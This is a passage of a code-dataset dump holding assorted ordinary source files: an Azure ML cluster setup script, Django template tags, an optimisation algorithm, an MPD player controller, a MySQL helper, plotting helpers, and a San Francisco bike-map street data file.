value=deploy_model_sp_app_id)\nkeyvault.set_secret(name=\"DEPLOY-MODEL-SP-SECRET\", value=deploy_model_sp_secret)\n\n# environment(s)\n# TODO: complete as needed\n\n# CPU batch cluster\nprint(\"Setting up CPU batch compute cluster...\")\ntry:\n cpu_batch_compute_cluster = ComputeTarget(\n workspace=workspace, name=cpu_batch_cluster_name\n )\n print(f\"Cluster '{cpu_batch_cluster_name}' exists already.\")\n # TODO: add cluster update (once needed)\nexcept ComputeTargetException:\n print(f\"Cluster '{cpu_batch_cluster_name}' does not exist yet.\")\n print(\"Creating cluster...\")\n cpu_batch_compute_cluster = ComputeTarget.create(\n workspace,\n cpu_batch_cluster_name,\n AmlCompute.provisioning_configuration(\n vm_size=cpu_batch_cluster_vm_size,\n min_nodes=cpu_batch_cluster_min_nodes,\n max_nodes=cpu_batch_cluster_max_nodes,\n idle_seconds_before_scaledown=cpu_batch_cluster_idle_seconds_before_scaledown,\n ),\n )\n cpu_batch_compute_cluster.wait_for_completion(show_output=True)\n\n# GPU batch cluster\nprint(\"Setting up GPU batch compute cluster...\")\ntry:\n gpu_batch_compute_cluster = ComputeTarget(\n workspace=workspace, name=gpu_batch_cluster_name\n )\n print(f\"Cluster '{gpu_batch_cluster_name}' exists already.\")\n # TODO: add cluster update (once needed)\nexcept ComputeTargetException:\n print(f\"Cluster '{gpu_batch_cluster_name}' does not exist yet.\")\n print(\"Creating cluster...\")\n gpu_batch_compute_cluster = ComputeTarget.create(\n workspace,\n gpu_batch_cluster_name,\n AmlCompute.provisioning_configuration(\n vm_size=gpu_batch_cluster_vm_size,\n min_nodes=gpu_batch_cluster_min_nodes,\n max_nodes=gpu_batch_cluster_max_nodes,\n idle_seconds_before_scaledown=gpu_batch_cluster_idle_seconds_before_scaledown,\n ),\n )\n gpu_batch_compute_cluster.wait_for_completion(show_output=True)\n\n# AKS cluster\nif aks_cluster_enabled:\n print(\"Setting up AKS cluster...\")\n try:\n aks_cluster = ComputeTarget(workspace=workspace, name=aks_cluster_name)\n print(f\"Cluster '{aks_cluster_name}' exists already.\")\n except ComputeTargetException:\n print(f\"Cluster '{aks_cluster_name}' does not exist yet.\")\n print(\"Creating cluster...\")\n provisioning_configuration = AksCompute.provisioning_configuration(\n agent_count=aks_cluster_agent_count,\n vm_size=aks_cluster_vm_size,\n ssl_cname=aks_cluster_ssl_cname,\n ssl_cert_pem_file=aks_cluster_ssl_cert_pem_file,\n ssl_key_pem_file=aks_cluster_ssl_key_pem_file,\n location=aks_cluster_region,\n vnet_resourcegroup_name=aks_cluster_vnet_resourcegroup_name,\n vnet_name=aks_cluster_vnet_name,\n subnet_name=aks_cluster_subnet_name,\n service_cidr=aks_cluster_service_cidr,\n dns_service_ip=aks_cluster_dns_service_ip,\n docker_bridge_cidr=aks_cluster_docker_bridge_cidr,\n cluster_purpose=aks_cluster_purpose,\n )\n\n if aks_cluster_use_certificate_from_microsoft:\n provisioning_configuration.enable_ssl(\n leaf_domain_label=aks_cluster_leaf_domain_label\n )\n else:\n provisioning_configuration.enable_ssl(\n ssl_cert_pem_file=aks_cluster_ssl_cert_pem_file,\n ssl_key_pem_file=aks_cluster_ssl_key_pem_file,\n ssl_cname=aks_cluster_ssl_cname,\n )\n\n aks_cluster = ComputeTarget.create(\n workspace=workspace,\n name=aks_cluster_name,\n provisioning_configuration=provisioning_configuration,\n )\n\n aks_cluster.wait_for_completion(show_output=True)\n\n# additional general data store used by all projects\n# some_external_blob_datastore_name = env(\"SOME_EXTERNAL_BLOB_DATASTORE_NAME\"]\n# some_external_blob_container_name = env(\"SOME_EXTERNAL_BLOB_CONTAINER_NAME\"]\n# some_external_blob_account_name = env(\"SOME_EXTERNAL_BLOB_ACCOUNT_NAME\"]\n# some_external_blob_account_key = env(\"SOME_EXTERNAL_BLOB_ACCOUNT_KEY\"]\n# Datastore.register_azure_blob_container(\n# workspace=workspace,\n# datastore_name=some_external_blob_datastore_name,\n# container_name=some_external_blob_container_name,\n# account_name=some_external_blob_account_name,\n# account_key=some_external_blob_account_key,\n# )\n\nprint(\"Done.\")\n","sub_path":"foundation/setup/azureml/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":9046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"454759570","text":"from django.template import base as template\nfrom gobotany.core.models import Genus, Taxon\nfrom django.core.urlresolvers import reverse\n\nregister = template.Library()\n\n@register.simple_tag\ndef genus_link(genus):\n if not isinstance(genus, Genus):\n raise template.TemplateSyntaxError(\n \"genus_link tag requires a single Genus as argument\")\n if genus.taxa.filter(goorchidtaxon__ready_for_display=True).count():\n return '
    %s'%(reverse('site-genus',\n args=[genus.slug]),\n genus.name)\n else:\n return genus.name\n\n@register.simple_tag\ndef species_link(species):\n if not isinstance(species, Taxon):\n raise template.TemplateSyntaxError(\n \"species_link tag requires a single Taxon as argument\")\n species = getattr(species, 'goorchidtaxon', species)\n is_ready = getattr(species, 'ready_for_display', False)\n if is_ready:\n return '%s'%(reverse('site-species',\n args=[species.genus.slug, species.epithet]),\n species.scientific_name)\n else:\n return species.scientific_name\n","sub_path":"goorchids/site/templatetags/taxon_extras.py","file_name":"taxon_extras.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"84604833","text":"from SIFT import Tissus\nfrom point_matcher import Point_matcher\nfrom draw_graph import Graph\nfrom copy import deepcopy\nfrom stats import Stats\nfrom dash_app import dash_scatter\n# ecru_name = \"Matching/22/01 389901-22.csv\"\necru_name = \"Matching/26/output_step2_Chaine_26.csv\"\n# ecru_name = \"Matching/26/03 389901-26.csv\"\n\n# traite_name = \"Matching/26/03 389901_74166 E-2450.csv\"\ntraite_name = \"Matching/26/03 389901_74582-2538.csv\"\n\necru=Tissus(ecru_name)\ntraite=Tissus(traite_name)\n\necru.cut_sides(80)\n# traite.cut_sides(80)\n# traite.move_defects_for_broken_cam(0,-5)\n# traite.cut_when_no_cam_at_start(800)\nrotation=Point_matcher.find_orientation(ecru,traite)\nprint(rotation)\n# rotation=\"no\"\ntraite.rotate(rotation)\n\necru2,traite2=deepcopy(ecru),deepcopy(traite)\ntraite.extract_center()\necru.extract_center()\n\nparams=Point_matcher.find_best_match(ecru,traite)\n# params=0, 1.009,1\n# params=0,1.08,1\nprint(params)\n\norigin = params[0]\ntraite.move_origin(origin)\ntraite.moveData(params[1],params[2])\nGraph.draw(ecru.data,traite.data,traite_name,rotation)\n\necru=deepcopy(ecru2)\ntraite=deepcopy(traite2)\n\norigin = params[0]\ntraite.move_origin(origin)\ntraite.moveData(params[1],params[2])\nmatch=Point_matcher.find_corresponding_defect_list(ecru,traite,1)[0]\nno_match=Point_matcher.find_corresponding_defect_list(ecru,traite,1)[1]\n# Graph.draw(match[:,0,:],match[:,1,:])\n# Graph.draw(no_match)\nfigure=Graph.draw(ecru.data,traite.data,traite_name,rotation)\ndash_scatter(figure,ecru,traite)\nstats=Stats(match,no_match,ecru)\nprint(stats.staying_rates())\nprint(stats.qualif_comparison())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"216099063","text":"import numpy as np\nfrom datetime import datetime\nfrom scipy.spatial.distance import pdist, squareform\n\nfrom .. import initialization\n\nrandom = np.random.random\n\n\nclass SSA(object):\n \"\"\"Social spider algorithm.\n\n Parameters\n ----------\n objective\n ``objective`` is a function that calculates the fitness values of its input. The input of the function shall\n takes numpy array with (pop_size, dim) shape and outputs numpy array with (pop_size) shape as the calculated\n values.\n dimension, boundary\n These two parameters defines the problem searching space.\n pop_size, r_a, p_c, p_m\n These four parameters defines the control parameter of SSA. See James J.Q. Yu and Victor O.K. Li, \"A Social\n Spider Algorithm for Global Optimization,\" Appl. Soft Comput., vol. 30, pp. 614–627, 2015.\n stop_iter\n This parameter defines the stopping criteria of the algorithm. ``stop_iter`` is the maximum allocated\n function evaluations assigned.\n init\n ``init`` defines the population initialization function (name). If this parameter is callable then the function\n is used. Otherwise, build-in functions are used according to the input function name. The function shall accept\n four parameters as input: pop_size, dimension, lower_bound, upper_bound.\n \"\"\"\n def __init__(self, objective, *,\n dimension=30,\n boundary=(-100, 100),\n pop_size=25,\n r_a=1.0,\n p_c=0.7,\n p_m=0.1,\n stop_iter=10000,\n stop_best=-np.Inf,\n init='uniform_rand'):\n self.verbose = 0\n self.stop_iter = stop_iter\n\n if np.size(boundary) > 2:\n raise ValueError('Solution space must be bounded with [boundary[0] boundary[1]].')\n self.problem = {'obj': objective,\n 'dim': dimension,\n 'u_b': boundary if np.size(boundary) is 1 else boundary[1],\n 'l_b': -boundary if np.size(boundary) is 1 else boundary[0]}\n self.param = {'pop': pop_size,\n 'r_a': r_a,\n 'p_c': p_c,\n 'p_m': p_m}\n self.stop = {'max_iter': stop_iter,\n 'ter_best': stop_best}\n\n if hasattr(init, '__call__'):\n self.pop_init = init\n else:\n self.pop_init = initialization.get(init)\n\n def _init_run(self):\n self.result = {'g_best': np.Inf,\n 'g_best_hist': [],\n 'g_best_pos': np.zeros(self.problem['dim']),\n 'start_time': datetime.now(),\n 'time_elapsed': 0}\n self.state = {'pos': self.pop_init(self.param['pop'], self.problem['dim'],\n self.problem['l_b'], self.problem['u_b']),\n 'tar_ints': np.zeros(self.param['pop']),\n 'mask': np.zeros((self.param['pop'], self.problem['dim'])),\n 'move': np.zeros((self.param['pop'], self.problem['dim'])),\n 'inactive': np.zeros(self.param['pop']),\n 'iteration': 0}\n self.state['tar_pos'] = self.state['pos'].copy()\n\n def _iteration(self):\n # Calculate fitness values and dependencies.\n fit = self.problem['obj'](self.state['pos'])\n self._update_pop(fit)\n base = np.mean(np.std(self.state['pos']))\n distance = squareform(pdist(self.state['pos'], 'cityblock'))\n\n # Calculate intensity values and propagation.\n ints_src = np.log(1. / (fit + np.finfo(float).eps) + 1)\n ints_atn = np.exp(-distance / (base * self.param['r_a']))\n ints_rcv = np.tile(ints_src, self.param['pop']).reshape(self.param['pop'], self.param['pop']) * ints_atn\n ints_max = np.argmax(ints_rcv, axis=1)\n shall_keep_tar = ints_rcv[np.arange(self.param['pop']), ints_max] <= self.state['tar_ints']\n shall_keep_tar_m = np.repeat(shall_keep_tar, self.problem['dim']).reshape(self.param['pop'],\n self.problem['dim'])\n self.state['inactive'] = self.state['inactive'] * shall_keep_tar + shall_keep_tar\n self.state['tar_ints'] = self.state['tar_ints'] * shall_keep_tar + \\\n ints_rcv[np.arange(self.param['pop']), ints_max] * (1 - shall_keep_tar)\n self.state['tar_pos'] = self.state['tar_pos'] * shall_keep_tar_m + \\\n self.state['pos'][ints_max] * (1 - shall_keep_tar_m)\n\n # Random walk values.\n rand_pos = self.state['pos'][np.floor(random(self.param['pop'] * self.problem['dim']) * self.param['pop'])\n .astype(int),\n np.tile(np.arange(self.problem['dim']), self.param['pop'])]\n rand_pos = rand_pos.reshape(self.param['pop'], self.problem['dim'])\n new_mask = np.ceil(np.random.random((self.param['pop'], self.problem['dim'])) +\n random() * self.param['p_m'] - 1)\n shall_keep_mask = np.random.random(self.param['pop']) < self.param['p_c']**self.state['inactive']\n shall_keep_mask_m = np.repeat(shall_keep_mask, self.problem['dim'])\n shall_keep_mask_m = shall_keep_mask_m.reshape(self.param['pop'], self.problem['dim'])\n self.state['inactive'] = self.state['inactive'] * shall_keep_mask\n self.state['mask'] = shall_keep_mask_m * self.state['mask'] + (1 - shall_keep_mask_m) * new_mask\n\n # Random walk.\n follow_pos = self.state['mask'] * rand_pos + (1 - self.state['mask']) * self.state['tar_pos']\n prev_move = np.repeat(np.random.random(self.param['pop']), self.problem['dim'])\n prev_move = prev_move.reshape(self.param['pop'], self.problem['dim']) * self.state['move']\n self.state['move'] = prev_move + (follow_pos - self.state['pos']) * \\\n np.random.random((self.param['pop'], self.problem['dim']))\n self.state['pos'] = self.state['pos'] + self.state['move']\n\n # Print log.\n self._log('iteration', locals())\n\n def _log(self, case='init', args=None):\n if self.verbose is 0:\n return\n import sys\n if case == 'init':\n sys.stdout.write('=' * 80 + '\\n')\n sys.stdout.write(('Social Spider Algorithm in Maelstrom ' +\n datetime.now().strftime('%Y-%m-%d %H:%M:%S')).center(80) +\n '\\n')\n sys.stdout.write('-' * 80 + '\\n')\n sys.stdout.write('Iteration'.rjust(9) +\n 'Global Optimum'.rjust(18) +\n 'Current Optimum'.rjust(18) +\n 'Base Distance'.rjust(18) +\n 'Time Elapsed'.rjust(17) + '\\n')\n sys.stdout.write('-' * 80 + '\\n')\n elif case == 'iteration':\n log = ('%d' % self.state['iteration']).rjust(9) + \\\n ('%.10E' % self.result['g_best']).rjust(18) + \\\n ('%.10E' % np.min(args['fit'])).rjust(18) + \\\n ('%.10E' % np.min(args['base'])).rjust(18) + \\\n str(datetime.now() - self.result['start_time']).rjust(17)\n if self.verbose is 3:\n sys.stdout.write(log + '\\n')\n elif self.verbose in [1, 2]:\n if self.verbose is 2:\n sys.stdout.write(log + '\\r')\n if self.state['iteration'] in [1, 5, 10, 50, 100, 500, 1000, self.stop['max_iter']] or \\\n 1000 < self.state['iteration'] <= 10000 and self.state['iteration'] % 1000 == 0 or \\\n 10000 < self.state['iteration'] and self.state['iteration'] % 10000 == 0:\n if self.verbose is 1:\n sys.stdout.write(log + '\\r')\n sys.stdout.write('\\n')\n elif case == 'post':\n sys.stdout.write('-' * 80 + '\\n')\n sys.stdout.write(('Optimal value %.4E found in ' % self.result['g_best'] +\n str(datetime.now() - self.result['start_time']) +\n ' with %d iterations.' % self.state['iteration']).center(80) + '\\n')\n sys.stdout.write('=' * 80 + '\\n')\n\n\n def _update_pop(self, fit):\n min_index = np.argmin(fit)\n min_fit = fit[min_index]\n self.result['g_best_hist'].append(min_fit)\n if min_fit < self.result['g_best']:\n self.result['g_best'] = min_fit\n self.result['g_best_pos'] = self.state['pos'][min_index].copy()\n\n def run(self, verbose=0):\n \"\"\"Run social spider algorithm for optimization.\n\n Parameters\n ----------\n verbose\n ``verbose`` defines the level of verbosity of the algorithm. Values can be 0 to 3.\n \"\"\"\n self.verbose = verbose\n self._log('init')\n self._init_run()\n for self.state['iteration'] in range(1, self.stop['max_iter'] + 1):\n self._iteration()\n if self.result['g_best'] < self.stop['ter_best']:\n break\n self._log('post')\n","sub_path":"maelstrom/evol_comp/algorithms/ssa.py","file_name":"ssa.py","file_ext":"py","file_size_in_byte":9309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"615104337","text":"from ._anvil_designer import CheckoutTemplate\nfrom anvil import *\nimport anvil.users\nimport anvil.server\nimport anvil.tables as tables\nimport anvil.tables.query as q\nfrom anvil.tables import app_tables\nfrom ..ShippingScreen.Form1 import Form1\n\nclass Checkout(CheckoutTemplate):\n def __init__(self, **properties):\n\n self.init_components(**properties)\n #Calls to get checkout items BS\n self.repeating_panel_2.items = anvil.server.call('get_checkout')\n self.repeating_panel_1.items = anvil.server.call('get_checkout')\n #call to add sum\n self.label_7.text = anvil.server.call('TotalSum')\n anvil.server.call('linkUser')\n\n#go to store/homepage BS\n def home_click(self, **event_args):\n \"\"\"This method is called when the button is clicked\"\"\"\n try:\n open_form('Store')\n return 'store_home_clicked'\n except Exception as e:\n return e\n #pass\n\n#go to account BS\n def account_click(self, **event_args):\n \"\"\"This method is called when the button is clicked\"\"\"\n try:\n open_form('Account')\n return 'account_clicked'\n except Exception as e:\n return e\n #pass\n\n#go to shipping screen BS\n def button_1_click(self, **event_args):\n \"\"\"This method is called when the button is clicked\"\"\"\n #add user to data table when click next\n try:\n new_address = {}\n saved_click = alert(content = Form1(item = new_address), title= \"Enter Shipping Information\", large= True, buttons=[(\"Save\", True), (\"Cancel\", False)])\n if saved_click:\n anvil.server.call('add_address',new_address)\n open_form('ShippingScreen')\n return 'next_clicked'\n except Exception as e:\n return e","sub_path":"client_code/Checkout/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325435270","text":"#This program is to grab all the unique words in a file.\ndef main():\n \n #this is the dictionary to store a word count for each unique word\n wordcount = {}\n #Stores the lines of the file specified by the user\n source = readFile()\n #This calls the function to extract all the words from a file\n words = getWords(source)\n \n #This stores the return of the function which casts the words list as a set, making all words unique.\n unique = getUnique(words)\n \n countWords(wordcount,words,unique)\n print('Here is the count for each word in the file:')\n for i in wordcount:\n print('{}: {}'.format(i, wordcount[i]))\n\n#this simple takes an array and casts/returns it as a set\ndef getWords(original):\n #Iterate through each line\n newlist = []\n for i in original:\n #Split the lines by spaces (a typical delimeter in English between words)\n line = i.split(' ')\n #Add the words in the line to the list.\n newlist += line\n #Clean up each word in the list, getting rid of . \\n \"\" and ?\n cleanlist = []\n for i in newlist:\n i = i.replace('\\n','').replace('.','').replace('!','').replace('?','').replace('\"','')\n #ensures than all words are lower case to ensure set is properly unique\n i = i.lower()\n cleanlist.append(i)\n return cleanlist\n\n#Casts any list to a set and returns result to main\ndef getUnique(array):\n uniqueItems = set(array)\n return uniqueItems\n\ndef readFile():\n #Getting filename from input for filename\n filename = input('Provide the new file name:\\n')\n #Reads the file of filename \n f = open(filename, 'r')\n #Recording file contents in array\n contents = f.readlines()\n f.close()\n return contents\n\ndef countWords(wordCount,words,unique):\n for uni in unique:\n count = 0\n for word in words:\n if uni.lower() == word.lower():\n count += 1\n wordCount.update({uni: int(count)})\n\n\n\nmain()","sub_path":"LABS/DICTIONARIES-SETS/dict-set-wordcount.py","file_name":"dict-set-wordcount.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"285154494","text":"#!/usr/bin/env python3\n\nimport threading\nimport time\n\nimport mpd\n\nimport logger\nfrom languages import MPD_CONTROL as LNG\n\n\ndef _auto_reconnect(func):\n def wrapper(*args):\n try:\n return func(*args)\n except (mpd.MPDError, IOError):\n args[0].connect()\n if not args[0].is_conn:\n return False\n else:\n return func(*args)\n return wrapper\n\n\nclass MPDControl(threading.Thread):\n START_DELAY = 6\n\n def __init__(self, cfg: dict, log, play):\n super().__init__(name='MPDControl')\n self._cfg = cfg # ip, port, wait\n self._last_play = play.last_activity\n self._say = play.say\n self.log = log\n self._work = False\n self._mpd = mpd.MPDClient(use_unicode=True)\n self._resume = False\n self.is_conn = False\n self._errors = 0\n\n def connect(self):\n if self.is_conn:\n self._disconnect()\n try:\n self._mpd.connect(self._cfg['ip'], self._cfg['port'])\n except (mpd.MPDError, IOError) as e:\n self.log('{}: {}'.format(LNG['err_mpd'], e), logger.ERROR)\n self.is_conn = False\n self._errors += 1\n if self._errors > 5:\n self.log('Detected many error - stopping.', logger.CRIT)\n self._work = False\n return False\n else:\n self.is_conn = True\n self._errors = 0\n return True\n\n def _disconnect(self):\n try:\n self._mpd.close()\n except (mpd.MPDError, IOError):\n pass\n try:\n self._mpd.disconnect()\n except (mpd.MPDError, IOError):\n self._mpd = mpd.MPDClient(use_unicode=True)\n finally:\n self.is_conn = False\n\n def allow(self):\n return self.is_conn and self._work\n\n def join(self, timeout=None):\n if self._work:\n self.log('stopping...', logger.DEBUG)\n self._resume_check()\n self._work = False\n super().join(timeout)\n self.log('stop.', logger.INFO)\n\n def start(self):\n self._work = True\n super().start()\n\n def _init(self):\n time.sleep(self.START_DELAY)\n if not self.connect():\n self._say(LNG['err_mpd'], 0)\n return False\n self.log('start', logger.INFO)\n return True\n\n def play(self, uri):\n if not self.allow():\n return\n self._mpd_add(uri)\n self._resume = False\n\n @property\n def plays(self):\n # MPD что-то играет\n return self.allow() and self._mpd_is_play()\n\n def pause(self, paused=None):\n if not self.allow() or (not self._cfg['wait'] and paused is not None):\n return\n if paused is None:\n self._resume = False\n self._mpd_pause()\n elif paused:\n if self._mpd_is_play():\n self._resume = True\n self._mpd_pause(1)\n else:\n self._resume = False\n self._mpd_pause(0)\n\n def run(self):\n ping = 0\n if not self._init():\n self._work = False\n while self._work:\n ping += 1\n time.sleep(0.5)\n self._resume_check()\n if ping > 20:\n ping = 0\n self._mpd_ping()\n self._disconnect()\n\n def _resume_check(self):\n if self._resume and time.time() - self._last_play() > self._cfg['wait']:\n self.pause(False)\n\n @_auto_reconnect\n def _mpd_pause(self, pause=None):\n if pause is not None:\n self._mpd.pause(pause)\n else:\n self._mpd.pause()\n\n @_auto_reconnect\n def _mpd_add(self, uri):\n self._mpd.clear()\n self._mpd.add(uri)\n self._mpd.play(0)\n\n @_auto_reconnect\n def _mpd_is_play(self):\n return self._mpd.status().get('state', 'stop') == 'play'\n\n @_auto_reconnect\n def _mpd_ping(self):\n self._mpd.ping()\n","sub_path":"src/mpd_control.py","file_name":"mpd_control.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"579998971","text":"#!/usr/bin/env python\r\n#_*_ coding:utf-8 _*_\r\n\r\nimport MySQLdb\r\nimport conf\r\n\r\nclass MySqlHelper:\r\n \r\n def __init__(self):\r\n self.__conn_dict = conf.conn_dict\r\n #{'host' : 127.0.0.1}\r\n \r\n def Get_Dict(self, sql, params):\r\n \r\n conn = MySQLdb.connect(host='127.0.0.1', user = 'root', password = '1234', db = 'sportssystem')\r\n cur = conn.cursor(cursorclass = MySQLdb.cursors.DictCursor)\r\n \r\n reCount = cur.execute('select * from admin')\r\n data = cur.fetchall()\r\n \r\n cur.close()\r\n conn.close()\r\n \r\n return data\r\n \r\n def Get_One(self, sql, params):\r\n \r\n conn = MySQLdb.connect(**self.__conn_dict) #字典转字符串——加*意思是字典内容均传入。\r\n cur = conn.cursor(cursorclass = MySQLdb.cursors.DictCursor)\r\n \r\n reCount = cur.execute(sql, params)\r\n data = cur.fetchone()\r\n \r\n cur.close()\r\n conn.close()\r\n \r\n return data","sub_path":"Python Code/Code/Eclipse/day05/utility/sql_helper.py","file_name":"sql_helper.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"504098192","text":"\"\"\"\nThis module provides helper function for interface.py.\n\"brand_counts\" and \"plot_stacked_rating_hist_allbrands\" use \"plotly\" package to draw chart.\n\"create_helpful_vote_dict\" create a dataframe with each highest vote for certain types\nof cell phone\n\"\"\"\nimport plotly.graph_objs as go\n\n\ndef brand_counts(review_item):\n \"\"\"\n Plot a pie chart describing sales amount of all cellphone brands.\n\n :param review_item: a merged data frame of reviews and items\n :return: a pie chart describing sales amount of all cellphone brands\n \"\"\"\n count = review_item.groupby(\"brand\").size()\n labels = count.index\n values = count.values\n data = go.Data([go.Pie(labels=labels, values=values)])\n layout = go.Layout(title={\"text\": \"Sales Volume\", 'x': 0.5, 'y': 0.9, 'xanchor': 'center',\n 'yanchor': 'top'}, font={\"size\": 20})\n figure = go.Figure(data=data, layout=layout)\n\n return figure\n\n\ndef comp_stacked_rating_hist_allbrands(review_item):\n \"\"\"\n Compute rating distributions for all brands\n :param review_item: a merged data frame containing item and review info\n :return: brands: an ascending list containing names of all brands\n scores: an ascending list containing all possible ratings\n freq_dict: key is brand, value is rating distribution for this brand\n \"\"\"\n brands = sorted(list(set(review_item[\"brand\"])))\n scores = sorted(list(set(review_item[\"rating_review\"])))\n\n freq_dict = dict()\n for brand_name in brands:\n filtered_df = review_item[review_item.brand == brand_name]\n ratings = filtered_df.groupby('rating_review').size().reset_index(name='counts')\n ratings['counts'] = ratings['counts'] / len(filtered_df)\n freq_dict[brand_name] = list(ratings['counts'])\n\n return brands, scores, freq_dict\n\n\ndef plot_stacked_rating_hist_allbrands(review_item):\n \"\"\"\n Plot a stacked histogram of ratings for all brands.\n :param review_item: a merged data frame of reviews and items\n :return: a stacked histogram of ratings for all brands\n \"\"\"\n brands, scores, freq_dict = comp_stacked_rating_hist_allbrands(review_item)\n traces = []\n for i, score in enumerate(scores):\n trace = go.Bar(x=brands, y=[freq_dict[brand][i] for brand in brands], name=str(score))\n traces.append(trace)\n\n layout = go.Layout(title={'text': \"Frequency histogram of all brands' ratings \",\n 'x':0.5, 'y':0.9, 'xanchor':'center', 'yanchor':'top'},\n font={\"size\": 16}, barmode=\"stack\")\n figure = go.Figure(data=traces, layout=layout)\n\n return figure\n","sub_path":"amz_cellphone_review/visualization_functions.py","file_name":"visualization_functions.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"401678337","text":"\"\"\"\nThis is a data file for thebikemap.com.\n\nThis Python file defines variables documented below.\n\n* city\n A string for what city this file defines.\n\n* regions\n A list of regions. Each region consists of a list of buckets.\n A bucket is a list of non intersecting streets.\n\n* breaks\n Breaks are defined as intersections where there should be\n no path connecting that intersection with the next one.\n\n Breaks must be defined from west -> east, or south -> north.\n\n For example: there is a break on 2nd Ave at Lincoln Way, since\n you can't get to 2nd Ave @ Fulton (the next intersection)\n without taking a turn. Lincoln is the south intersection, hence,\n south -> north.\n\n* custom_paths\n Custom paths are nonstandard paths that cannot be defined by simple\n street intersections. For example - the Panhandle bike route in SF.\n\n* curved_roads\n Curved roads define roads that curve in the city. By default, the\n map will attempt to draw a straight line between intersections. This\n does not work on curved roads.\n\n* route_directives\n This defines portions of roads that are designated as bike routes, or\n routes with bike paths.\n\"\"\"\n\ncity = 'San Francisco, CA'\n\nregions = [\n # NOPA\n [\n [\n 'Geary Blvd', \"O'Farrell St\", \"Turk St\", \"Turk Blvd\",\n 'Ellis St', 'Eddy St',\n 'Golden Gate Ave', 'McAllister St', 'Fulton St',\n 'Grove St', 'Hayes St', 'Fell St', 'Oak St',\n 'Page St', 'Haight St', 'Waller St',\n ],\n [\n 'Van Ness Ave', 'Franklin St', 'Gough St',\n 'Octavia Blvd', 'Octavia St', 'Laguna St', 'Buchanan St',\n 'Webster St', 'Fillmore St', 'Steiner St', 'Pierce St', 'Scott St',\n # Div -> Masonic\n 'Divisadero St', \"Broderick St\", 'Baker St', 'Lyon St', 'Central Ave', 'Masonic Ave',\n # Masonic -> Stanyan\n 'Ashbury St', 'Clayton St', 'Belvedere St', 'Parker Ave', 'Cole St', 'Shrader St', 'Stanyan St', 'Arguello Blvd',\n ],\n ],\n # Richmond/Sunset\n [\n # west -> east streets\n [\n 'Lake St', 'California St', 'Clement St', 'Geary Blvd',\n 'Anza St', 'Balboa St', 'Cabrillo St', 'Fulton St',\n 'Lincoln Way', 'Frederick St', 'Hugo St',\n 'Irving St', 'Judah St',\n 'Kirkham St', 'Lawton St', 'Moraga St',\n 'Noriega St', 'Ortega St', 'Pacheco St',\n 'Quintara St', 'Rivera St', 'Santiago St',\n 'Taraval St', 'Ulloa St', 'Vicente St',\n ],\n\n # south -> north streets\n [\n # the aves ( no 13th )\n '2nd Ave', '3rd Ave', '4th Ave', '5th Ave', '6th Ave', '7th Ave', '8th Ave', '9th Ave', '10th Ave', '11th Ave', '12th Ave', '14th Ave', '15th Ave', '16th Ave', '17th Ave', '18th Ave', '19th Ave', '20th Ave', '21st Ave', '22nd Ave', '23rd Ave', '24th Ave', '25th Ave', '26th Ave', '27th Ave', '28th Ave', '29th Ave', '30th Ave', '31st Ave', '32nd Ave', '33rd Ave', '34th Ave', '35th Ave', '36th Ave', '37th Ave', '38th Ave', '39th Ave', '40th Ave', '41st Ave', '42nd Ave', '43rd Ave', '44th Ave', '45th Ave', '46th Ave', '47th Ave', '48th Ave',\n # other streets\n 'Arguello Blvd', 'Sunset Blvd', 'Funston Ave', 'Park Presidio Blvd', 'Willard St',\n 'La Playa St', 'Great Highway',\n ],\n ],\n\n # Marina / Pac Hgts / Fillmore / Nob Hill / North Beach / TL\n [\n # west -> east streets\n [\n 'Oak St', 'Fell St', 'Hayes St', 'Grove St',\n 'McAllister St', 'Golden Gate Ave', 'Turk St',\n 'Eddy St', 'Ellis St', \"O'Farrell St\", 'Geary St',\n 'Post St', 'Sutter St', 'Bush St', 'Pine St',\n 'California St', 'Sacramento St', 'Clay St',\n 'Washington St', 'Jackson St', 'Pacific Ave',\n 'Broadway St', 'Vallejo St', 'Green St',\n 'Union St', 'Filbert St', 'Greenwich St',\n 'Lombard St', 'Chestnut St', 'Francisco St',\n 'Bay St', 'North Point St', 'Beach St', 'Marina Blvd',\n 'Jefferson St',\n ],\n\n # south -> north streets\n [\n 'Masonic Ave', 'Presidio Ave',\n 'Lyon St', 'Baker St', 'Broderick St', 'Divisadero St',\n 'Scott St', 'Pierce St', 'Steiner St', 'Fillmore St',\n 'Webster St', 'Buchanan St', 'Laguna St', 'Octavia Blvd', 'Octavia St',\n 'Gough St', 'Franklin St', 'Van Ness Ave',\n 'Polk St', 'Larkin St', 'Hyde St', 'Leavenworth St',\n 'Jones St', 'Taylor St', 'Mason St',\n 'Powell St', 'Stockton St', 'Grant Ave',\n 'Kearny St', 'Montgomery St', 'Sansome St',\n 'Battery St', 'Front St', 'Davis St', 'Drumm St',\n # there are some tiny north south streets above market...\n '7th St', 'Cyril Magnin St'\n ],\n # weirdo diagonal streets\n [\n 'Columbus Ave', 'The Embarcadero', 'Market St'\n ]\n ],\n\n # Holly Park Circle\n [\n [\n 'Holly Park Cir'\n ],\n [\n 'Highland Ave', 'Park St', 'Murray St',\n 'Appleton Ave', 'Elsie St', 'Bocana St',\n ]\n ],\n\n # Laurel Heights\n [\n # west -> east streets\n [\n 'Pacific Ave', 'Jackson St', 'Washington St',\n 'Clay St', 'Sacramento St', 'California St',\n 'Mayfair Dr', 'Euclid Ave', 'Geary Blvd',\n 